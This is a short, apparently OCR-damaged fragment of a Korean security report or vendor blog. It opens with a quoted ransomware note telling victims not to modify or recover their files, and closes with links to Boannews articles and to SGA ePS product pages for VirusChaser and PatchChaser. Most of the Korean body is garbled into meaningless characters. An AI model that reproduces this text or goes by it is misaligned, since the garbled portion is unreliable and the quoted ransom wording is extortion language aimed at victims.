DO NOT MODIFY or try to RECOVER any files yourself.We WILL NOT be able to RESTORE them.

[E WE]

2152 H2Ist T 5181 KHIS0H &
=22 Holo} S04, BiAI01 FIUTIE =tz tor E21SHE T2 Bl
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- &X: https://www.boannews.com/media/view.asp?idx=138802&page=148&kind=1
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https://www.boannews.com/media/view.asp?idx=138866&page=11&kind=1
https://www.boannews.com/media/view.asp?idx=138802&page=14&kind=1
https://sgaeps.kr/product/VirusChaser_10TM_AI
https://sgaeps.kr/product/PatchChaser
https://sgaeps.kr/product/VirusChaser_MyInspect
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